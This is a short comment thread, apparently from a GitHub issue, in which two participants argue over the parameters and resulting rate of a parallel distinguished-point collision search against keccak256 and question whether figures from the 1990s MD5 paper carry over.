@kayabaNerve I think you missed why 405 is the wrong number to use (it uses wrong m, theta, and t)

The overall rate at which the processors produce distinguished points is mθ ⁄ t = 405 per second

  • m in our case is 1M, theta is 2^-23, and t is 1/35×10^9 (35 GH/s for each ASIC). This gives 4172325134, or 4.2*10^9 in my previous comment. 4 Billion read and writes per second. 1000x more than currently possible.

and the t is not applicable to this case even if the paper's theoretical machine is assumed

We cannot use the same t for keccak256, since the t they used is specifically for their (theoretical) chip for the simpler MD5.

kayabaNerve commented 2 weeks ago

We cannot use the same t for keccak256, since the t they used is specifically for their (theoretical) chip for the simpler MD5.

Yes, I ignored whatever fixed ratio is relevant due to the 27 years of progress in silicon. If we can now do keccak256 faster than we could do MD5 in 1997, we could simply downclock. If we're still several times slower, the small factor doesn't explain the breadth of our disagreeance.


I'm unclear your reasoning for your choice of theta. It went from (0.66)2-35 to 2-23 and is why these numbers are so distinct. Apologies if there is an undeniable reason for that which I'm missing, as yes, that'd be my blunder.